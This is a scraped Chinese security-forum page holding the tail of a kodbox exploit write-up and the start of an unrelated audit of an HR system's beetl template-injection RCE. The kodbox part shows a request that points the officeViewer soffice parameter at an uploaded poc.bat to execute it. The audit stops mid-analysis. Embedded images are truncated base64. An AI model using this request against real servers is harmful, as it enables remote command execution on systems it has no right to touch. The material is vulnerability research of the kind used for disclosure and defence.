<p blockindex=56><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAtQAAACcCAIAAADQ26uPAAAgAElEQVR4nO29f3AbVZbof9p2mJgAAUJoSyTwBuwsk5q0n93MJtjDDGGDsIUym1dkYAi1JVQl7GLq0faGUOsp8WW3qGjRVkJK7qmafG1U5dF3K8yS8VSliCIbTSbJ23nOD75IXncyGYg8vC+JkdyTOCEQYiex3d8/bnerJbWkliNLjn0+RRHr9jn3ntu/7ulzT/elJEkCBEEQBEGQYlFWagMQBEEQBFlYVJw5c6bUNiAIgiAIsoCgcNoFQRAEQZBigtMuCIIgCIIUFXQ+EARBEAQpKuh8IAiCIAhSVG7W+RgfH3/qqacoijpw4EBBDJoxY2Nj3/ve9wRBKE5zBw4ceOqpp8bHx4vTXAoLqrMLCnJBzexqUg/TzVQy28ypc0m9ff3rv/7rgw8+KAjC2NjYY489NjY2VmrTkFlkLl8gC4ebdT5279790EMPSZL07LPPFsQgBCkIDofD4XCoP3ft2qUd88jPn/3sZwWRmSNDKZIv6u3LZrOV2hYAgAMHDlAURVHU0qVL1UeLsbExs9mcUphd0mw2a/0nUr5r167sDRWW9EYFQVi6dGn2RlWZlAdag13QLTTSbkpDs7pnEMLNOh8nT55cs2YN3Pq+5K1uf14shM5u3rz5iy++IG7B+Ph4IBAIh8PRaJRsPXnypM1m+4d/+IeCyFRWVpagh/ORIp+Z6u2LYZizZ88yDFOcdnUZGxt7//33r169KknS+++/39TUNDY2Nj4+/tOf/nTbtm3awkySHMedPHlSkqRnnnlm27ZtoOzPNWvWsCybvaECdiRTo01NTe+//z5ptL29Pd1l18oEAoFXXnmF9MtgFzIV5mxXa3n63i7gnkG0zImcj/Hx8VAoNDU1VWpDisGC6mxhyWvXrVy5cnh4mHgJV69e/frrr3/0ox+dO3eO1HPp0qUNGzYUSqaAZt8SzNkezTXD8rJn2bJle/bsIY7sunXrli5d+uWXX0aj0Xg8brfbAeCpp5569NFHjx8/ritZWVm5Z8+eZcuWgcbzrqysPHToUCwWu++++7I3VMCO6DZ6/PjxRx999KmnniIdueuuu1QPXovZbF63bl1Kvwx2QbfQYLsE3b1tpMvIDNB3Pnbt2kWCV2r4Tg1GaQsdDsevf/3r119/naKo22+//fDhwzabjUSh02vIwn/+538eO3bsP/7jP4yc3MQR/vd//3fVHu1zUiAQIIUkVJ5FWGthNBp95JFHVPtPnDjxve99j5gtCIL6t3YnkDgtqV8NBhqZz57fnc1kg7acaOmeUdnJa9fV1NRUV1cTL+H48eNr1qxZv359b28vAESj0c8+++yBBx4olEwBzdZCwsXk4GbaXemHSeXixYvpZ4JuPbt27dJe1NpppoL0KJORKTH2sbEx7Zk5Pj6eKQhfEMPU25fZbD5y5Ih65uuarZ72s3dn03L8+PHLly8/8MAD586dW7duHXEpKisrH3rooc8++0xXUlvY29trMCCnq17AjmTi66+/JteUlmXLlm3ZssXv9xPD1q1bZyQWpduFTP3Stpt+gWTa2/meh4gRdJwPQRDee++9CxcuSJIUi8WWLVs2Nja2Zs0aEoySJOm9995bs2bN2NhYT0/Pyy+//O6770qSdPXq1fXr1wcCgUOHDkWj0ZQashuxYcOG6urq4eFh4yf3P/3TP5EAoxqdA4DLly9Ho1FJkoaGhv7whz+oM3bpwil9rKmp+ctf/qLar3vRkp3w3nvvkZ3w8ssvA0BlZeXrr78eCATIGNzb2/v6669nv+YXQmd1DVbLDx06dPXqVd0zKvt+yGvXVVZW2mw24iX09vZu3rx5w4YNly5dGh8fV28xhZIpoNkqBw4ceOKJJ/74xz/29PRkugB1D5NK+lHIVM/WrVufeeYZv99/4MCBL7744le/+lUBe5TJyPHx8b17946OjqoWAoD2zASAFIHCniHq7SsWi917773pZv/whz/s7+8nN7dAIHDgwIH0e2MB7VERBGHLli3vvffesmXLUlyNLJKgGSM3b968devWvBqajY5oWblyZTgcJof10KFDhw8fziRJnmZtNhuZEcuObhe0hVnaTb9AdPd2+omKczEFQcf5eOCBBy5fvvzwww+r4xmJXL366qvkZ854VHoN2SkvL//pT3+6ePHi4eHhgYEBIyrq2aY1ZunSpf/4j/8IADU1NfX19VmE87UQksOGALB582byx7p16+LxeDQaHRsbO3nyJIkZLvDO6hqsLc/3jCLku+uIl3Dx4sVLly6tXLmypqYGAKLRaG9vr3pfK5RMAc0GgA8//PCVV175/PPPyZNfpt2V6TAR0o9Clt2+c+fOnTt3btmyxev15nxizqtHmYysrKzc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 truncated
<p blockindex=57>二、执行poc.bat:</p>
<pre blockindex=58><code class="hljs language-php">index.php?plugin/officeViewer/libreOffice/index/check&amp;soffice=D:\softs\phpstudy\phpstudy_pro\WWW\kodbox\data\files\<span class=hljs-number>202312</span>\<span class=hljs-number>19_81229</span>b0a\poc.bat
</code></pre>
<p blockindex=59><img src=data:image/png;base64,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 truncated
<p blockindex=60>执行结果:</p>
<p blockindex=61><img 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</div>
<div class="post-opt mt-30">
<ul class="list-inline text-muted">
<li>
<i class="fa fa-clock-o"></i>
发表于 2024-03-07 09:40:45
</li>
</ul>
</div>
</div>
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<p><span class=content-title>某HR系统组合漏洞挖掘过程</span>
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<a href=https://xz.aliyun.com/u/55673>
<span class="username cell"> Ha1ey</span></a> <span class=i-seprator> / </span>
<span> 2024-03-11 10:01:19</span><span class=i-seprator> / </span>
<span>发表于北京 / </span>
<span>浏览数 908</span>
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<a href=https://xz.aliyun.com/tab/4>社区板块</a></span>
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<a href=https://xz.aliyun.com/node/1>漏洞分析</a></span>
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<p>Ha1ey@深蓝攻防实验室</p>
<h2 id=toc-0>前言</h2>
<p>某天在项目中遇到一个奇怪的人才管理系统,fofa跑了一下发现用的还挺多,所以就有了后面的审计过程。在互联网翻到一份过期的源码,本地搭建起来开始审计。</p>
<h2 id=toc-1>审计过程</h2>
<p>先看一下常见的RCE漏洞,发现这套系统大量的代码调用了<code>beetl</code>这个库,这个库是国内一个大佬开发的模板引擎,类似freemarker。</p>
<p>找到这套模板引擎漏洞触发点在<code>GroupTemplate#getTemplate</code>,全局搜了一下调用点发现在<code>ComputationRuleUtil#getValue</code>这个方法中有一处调用并且没有写死模版内容,其他多处都写死了模板内容。</p>
<p><a id=img0 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311095802-cb35f544-df4a-1.png title><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABpgAAAKQCAYAAACLu3kmAAAMQWlDQ1BJQ0MgUHJvZmlsZQAAeJyVVwdYU8kWnluSkEBooUsJvQkCUgJICaEFkF4EUQlJgFBiDAQVO7Ko4FpQsYANXRVR7IBYUMTOotj7YkFBWRcLduVNCui6r3xvvm/u/PefM/85c+7MvXcAUDvBEYlyUXUA8oQF4tiQAPq45BQ6qQegQAPoAnvgzOHmi5jR0REAlqH27+XdDYBI26sOUq1/9v/XosHj53MBQKIhTuflc/MgPggAXs0ViQsAIEp586kFIimGFWiJYYAQL5TiTDmuluJ0Od4rs4mPZUHcBoCSCocjzgRA9TLk6YXcTKih2g+xk5AnEAKgRofYNy9vMg/iNIhtoI0IYqk+I/0Hncy/aaYPa3I4mcNYPhdZUQoU5ItyOdP/z3T875KXKxnyYQWrSpY4NFY6Z5i3WzmTw6VYBeI+YXpkFMSaEH8Q8GT2EKOULElogtweNeTms2DOgA7ETjxOYDjEhhAHC3MjIxR8eoYgmA0xXCHoNEEBOx5iPYgX8vOD4hQ2m8STYxW+0IYMMYup4M9xxDK/Ul8PJDkJTIX+6yw+W6GPqRZlxSdBTIHYolCQGAmxKsSO+Tlx4QqbMUVZrMghG7EkVhq/BcSxfGFIgFwfK8wQB8cq7Mvy8ofmi23KErAjFXh/QVZ8qDw/WBuXI4sfzgW7zBcyE4Z0+PnjIobmwuMHBsnnjvXwhQlxCp0PooKAWPlYnCLKjVbY42b83BApbwaxa35hnGIsnlgAF6RcH88QFUTHy+PEi7I5YdHyePBlIAKwQCCgAwms6WAyyAaCjr7GPngn7wkGHCAGmYAPHBTM0IgkWY8QXuNAEfgTIj7IHx4XIOvlg0LIfx1m5VcHkCHrLZSNyAFPIc4D4SAX3ktko4TD3hLBE8gI/uGdAysXxpsLq7T/3/ND7HeGCZkIBSMZ8khXG7IkBhEDiaHEYKItboD74t54BLz6w+qCM3DPoXl8tyc8JXQSHhGuE7oItycJisU/RTkWdEH9YEUu0n/MBW4FNd3wANwHqkNlXAc3AA64K/TDxP2gZzfIshRxS7NC/0n7bzP44Wko7MhOZJSsS/Yn2/w8UtVO1W1YRZrrH/MjjzV9ON+s4Z6f/bN+yD4PtuE/W2ILsQPYWewkdh47ijUCOtaCNWHt2DEpHl5dT2Sra8hbrCyeHKgj+Ie/oScrzWS+U51Tr9MXeV8Bf5r0HQ1Yk0XTxYLMrAI6E34R+HS2kOs4ku7i5OIKgPT7In99vYmRfTcQnfbv3Pw/APBpGRwcPPKdC2sBYJ8H3P6Hv3M2DPjpUAbg3GGuRFwo53DphQDfEmpwp+kDY2AObOB8XIA78Ab+IAiEgSgQD5LBRBh9FlznYjAVzATzQCkoB8vAKrAObARbwA6wG+wHjeAoOAnOgIvgMrgO7sLV0w1egH7wDnxGEISEUBEaoo+YIJaIPeKCMBBfJAiJQGKRZCQNyUSEiASZicxHypEKZB2yGalF9iGHkZPIeaQTuY08RHqR18gnFENVUC3UCLVCR6EMlImGo/HoBDQTnYIWoSXoEnQNWoPuQhvQk+hF9Drahb5ABzCAKWM6mCnmgDEwFhaFpWAZmBibjZVhlVgNVo81w+d8FevC+rCPOBGn4XTcAa7gUDwB5+JT8Nn4YnwdvgNvwNvwq/hDvB//RqASDAn2BC8CmzCOkEmYSiglVBK2EQ4RTsO91E14RyQSdYjWRA+4F5OJ2cQZxMXE9cQ9xBPETuJj4gCJRNIn2ZN8SFEkDqmAVEpaS9pFaiFdIXWTPigpK5kouSgFK6UoCZWKlSqVdiodV7qi9EzpM1mdbEn2IkeReeTp5KXkreRm8iVyN/kzRYNiTfGhxFOyKfMoayj1lNOUe5Q3ysrKZsqeyjHKAuW5ymuU9yqfU36o/FFFU8VOhaWSqiJRWaKyXeWEym2VN1Qq1YrqT02hFlCXUGupp6gPqB9UaaqOqmxVnuoc1SrVBtUrqi/VyGqWaky1iWpFapVqB9QuqfWpk9Wt1FnqHPXZ6lXqh9Vvqg9o0DScNaI08jQWa+zUOK/Ro0nStNIM0uRplmhu0Tyl+ZiG0cxpLBqXNp+2lXaa1q1F1LLWYmtla5Vr7dbq0OrX1tR21U7UnqZdpX1Mu0sH07HSYevk6izV2a9zQ+eTrpEuU5evu0i3XveK7nu9EXr+eny9Mr09etf1PunT9YP0c/SX6zfq3zfADewMYgymGmwwOG3QN0JrhPcI7oiyEftH3DFEDe0MYw1nGG4xbDccMDI2CjESGa01OmXUZ6xj7G+cbbzS+LhxrwnNxNdEYLLSpMXkOV2bzqTn0tfQ2+j9poamoaYS082mHaafzazNEsyKzfaY3TenmDPMM8xXmrea91uYWIy1mGlRZ3HHkmzJsMyyXG151vK9lbVVktUCq0arHms9a7Z1kXWd9T0bqo2fzRSbGptrtkRbhm2O7Xrby3aonZtdll2V3SV71N7dXmC/3r5zJGGk50jhyJqRNx1UHJgOhQ51Dg8ddRwjHIsdGx1fjrIYlTJq+aizo745uTnlOm11uuus6RzmXOzc7Pzaxc6F61Llcm00dXTw6Dmjm0a/crV35btucL3lRnMb67bArdXtq7uHu9i93r3Xw8IjzaPa4yZDixHNWMw450nwDPCc43nU86OXu1eB136vv7wdvHO8d3r3jLEewx+zdcxjHzMfjs9mny5fum+a7ybfLj9TP45fjd8jf3N/nv82/2dMW2Y2cxfzZYBTgDjgUMB7lhdrFutEIBYYElgW2BGkGZQQtC7oQbBZcGZwXXB/iFvIjJAToYTQ8NDloTfZRmwuu5bdH+YRNiusLVwlPC58XfijCLsIcUTzWHRs2NgVY+9FWkYKIxujQBQ7akXU/Wjr6CnRR2KIMdExVTFPY51jZ8aejaPFTYrbGfcuPiB+afzdBJsESUJrolpiamJt4vukwKSKpK5xo8bNGncx2SBZkNyUQkpJTNmWMjA+aPyq8d2pbqmlqTcmWE+YNuH8RIOJuROPTVKbxJl0II2QlpS2M+0LJ4pTwxlIZ6dXp/dzWdzV3Bc8f95KXi/fh1/Bf5bhk1GR0ZPpk7kiszfLL6syq0/AEqwTvMoOzd6Y/T4nKmd7zmBuUu6ePKW8tLzDQk1hjrBtsvHkaZM7RfaiUlHXFK8pq6b0i8PF2/KR/An5TQVa8Ee+XWIj+UXysNC3sKrww9TEqQemaUwTTmufbjd90fRnRcFFv83AZ3BntM40nTlv5sNZzFmbZyOz02e3zjGfUzKne27I3B3zKPNy5v1e7FRcUfx2ftL85hKjkrklj38J+aWuVLVUXHpzgfeCjQvxhYKFHYtGL1q76FsZr+xCuVN5ZfmXxdzFF351/nXNr4NLMpZ0LHVfumEZcZlw2Y3lfst3VGhUFFU8XjF2RcNK+sqylW9XTVp1vtK1cuNqymrJ6q41EWua1lqsXbb2y7qsdderAqr2VBtWL6p+v563/soG/w31G402lm/8tEmw6dbmkM0NNVY1lVuIWwq3PN2auPXsb4zfarcZbCvf9nW7cHvXjtgdbbUetbU7DXcurUPrJHW9u1J3Xd4duLup3qF+8x6dPeV7wV7J3uf70vbd2B++v/UA40D9QcuD1Ydoh8oakIbpDf2NWY1dTclNnYfDDrc2ezcfOuJ4ZPtR06NVx7SPLT1OOV5yfLClqGXghOhE38nMk49bJ7XePTXu1LW2mLaO0+Gnz50JPnPqLPNsyzmfc0fPe50/fIFxofGi+8WGdrf2Q7+7/X6ow72j4ZLHpabLnpebO8d0Hr/id+Xk1cCrZ66xr128Hnm980bCjVs3U2923eLd6rmde/vVncI7n+/OvUe4V3Zf/X7lA8MHNX/Y/rGny73r2MPAh+2P4h7dfcx9/OJJ/pMv3SVPqU8rn5k8q+1x6TnaG9x7+fn4590vRC8+95X+qfFn9Uublwf/8v+rvX9cf/cr8avB14vf6L/Z/tb1betA9MCDd3nvPr8v+6D/YcdHxsezn5I+Pfs89Qvpy5qvtl+bv4V/uzeYNzgo4og5sl8BDFY0IwOA19sBoCYDQIPnM8p4+flPVhD5mVWGwH/C8jOirLgDUA//32P64N/NTQD2boXHL6ivlgpANBWAeE+Ajh49XIfOarJzpbQQ4TlgU+TX9Lx08G+K/Mz5Q9w/t0Cq6gp+bv8FudB8kK9mJ3wAAQAASURBVHic7N13eJvXdT/wL/bek3vvJUrU3rKGhzzlEcdO4hG7dlbTNEnTNL80beIkTZumSdNMJ7HjFQ9527KsvUVJ1KAk7r1BgiRIEHv9/gCJIQBc4hJ1Ps+jRyDedQG8wAvcc8+5jLzCZT4QQgghhBBCCCGEEEIIIYQQMknM+W4AIYQQQgghhBBCCCGEEEIIubFQgIkQQgghhBBCCCGEEEIIIYRMCQWYCCGEEEIIIYQQQgghhBBCyJRQgIkQQgghhBBCCCGEEEIIIYRMCQWYCCGEEEIIIYQQQgghhBBCyJRQgIkQQgghhBBCCCGEEEIIIYRMCQWYCCGEEEIIIYQQQgghhBBCyJRQgIkQQgghhBBCCCGEEEIIIYRMCQWYCCGEEEIIIYQQQgghhBBCyJRQgIkQQgghhBBCCCGEEEIIIYRMCQWYCCGEEEIIIYQQQgghhBBCyJRQgIkQQgghhBBCCCGEEEIIIYRMCQWYCCGEEEIIIYQQQgghhBBCyJRQgIkQQgghhBBCCCGEEEIIIYRMCQWYCCGEEEIIIYQQQgghhBBCyJRQgIkQQgghhBBCCCGEEEIIIYRMCQWYCCGEEEIIIYQQQgghhBBCyJRLine truncated
<p>可以看到该方法中拼接了<code>s2</code>,s2最终是来自于<code>String src</code>这个参数,期间被<code>rule</code>方法做了处理,观察<code>rule</code>方法可以发现,当我们传入的第一个字符串参数不包含<code>@sum</code>和<code>@avg</code>就会直接返回我们传入的参数</p>
